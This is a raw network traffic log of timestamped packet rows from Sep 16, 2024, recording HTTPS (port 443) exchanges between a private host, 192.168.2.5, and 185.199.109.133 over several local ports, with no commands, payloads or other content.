Sep 16, 2024 19:24:50.412815094 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.412828922 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.412832975 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.412842989 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.412861109 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.412878036 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.412883043 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.412903070 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.412919044 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.412920952 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.412930965 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.412950993 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.412971020 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.412976027 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.412997007 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413012981 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413014889 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413022995 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413038969 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413088083 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413094044 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413105965 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413127899 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413147926 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413153887 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413171053 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413191080 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413193941 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413199902 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413218021 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413230896 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413235903 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413249969 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413273096 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413280964 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413299084 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413321972 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413326979 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413352013 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413360119 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413364887 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413371086 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413391113 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413404942 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413413048 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413434029 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413448095 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413455963 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413474083 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413506031 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413511992 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413530111 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413548946 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413551092 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413558960 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413579941 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413590908 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413599014 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413623095 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413640022 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413644075 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413654089 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413669109 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413686991 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413692951 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413717031 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413733959 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413736105 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413744926 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413801908 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413813114 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413819075 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413825035 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413841009 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413844109 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413866997 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413872004 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413888931 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413903952 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413911104 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413916111 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413930893 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413944006 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413984060 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.413989067 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.413997889 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414015055 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414019108 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414026976 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414052963 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414089918 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414092064 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414102077 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414120913 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414146900 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414151907 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414163113 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414186954 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414187908 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414199114 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414213896 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414233923 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414239883 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414262056 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414278030 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414309025 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414341927 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414343119 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414352894 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414374113 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414374113 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414417028 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414422989 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414433002 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414443016 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414458036 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414478064 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414483070 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414504051 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414516926 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414534092 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414557934 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414562941 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414581060 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414593935 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414613962 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414634943 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414639950 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414658070 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414678097 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414693117 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414722919 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414729118 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414741993 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414762020 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414783001 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414810896 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414817095 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414828062 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414845943 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414865017 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414887905 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414894104 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414911032 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.414927959 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.414975882 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.527410984 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.527493954 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.623465061 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.719403028 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.719492912 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.769062042 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.769112110 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.769155979 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.769186974 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.769207001 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.769244909 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.769275904 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.769275904 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.769299984 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.769326925 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.769347906 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.775676966 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.775685072 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.775695086 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.775763988 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.791234970 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.791240931 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.791258097 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.791265011 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.791321039 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.791325092 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.791366100 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.791369915 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.791388035 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.791399002 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.791404009 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.791414022 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.791444063 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.791449070 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.791516066 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.791522026 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.791569948 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.791604042 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.800748110 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.800770044 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.800793886 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.800823927 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.800827026 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.800841093 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.800862074 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.800882101 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.800913095 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.800918102 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.800918102 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.800918102 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.800918102 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.800925016 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.800944090 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.800966024 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.800995111 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801023006 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801054001 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801085949 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801085949 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801086903 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801086903 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801086903 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801086903 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801116943 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801141977 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801179886 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801198959 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801223993 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801251888 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801281929 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801321030 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801321030 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801321030 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801321030 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801321983 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801321983 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801362991 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801383018 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801403999 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801470041 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801512957 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801529884 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801574945 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801615953 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801640987 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801675081 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801675081 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801675081 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801675081 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801676035 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801676035 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801676035 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801706076 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801755905 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801770926 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801814079 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801815987 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801853895 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801856041 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801875114 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.801901102 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.801949024 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802005053 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802006960 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802027941 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802042961 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802073002 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802077055 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802119017 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802123070 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802156925 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802177906 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802213907 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802217960 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802249908 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802249908 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802269936 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802289963 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802325010 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802333117 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802351952 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802386045 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802393913 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802393913 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802424908 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802453995 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802458048 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802547932 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802572012 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802613974 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802629948 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802675009 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802686930 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802700043 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802716017 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802756071 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802757978 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802781105 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802793980 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802824020 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802824020 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802865982 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802865982 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802882910 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802892923 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802931070 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802932978 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802947044 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.802961111 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802983999 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.802992105 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803008080 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803019047 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803046942 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803057909 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803065062 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803083897 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803116083 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803138018 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803354979 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803420067 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803422928 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803443909 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803481102 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803504944 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803580999 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803627968 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803648949 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803663015 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803715944 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803759098 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803801060 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803821087 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803833008 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803857088 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803880930 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.803930998 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803977966 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.803992987 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.804013014 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.804060936 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.804060936 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.804147005 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.804188013 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.804207087 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:50.804220915 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:50.804249048 CEST	51648	443	192.168.2.5	185.199.109.133
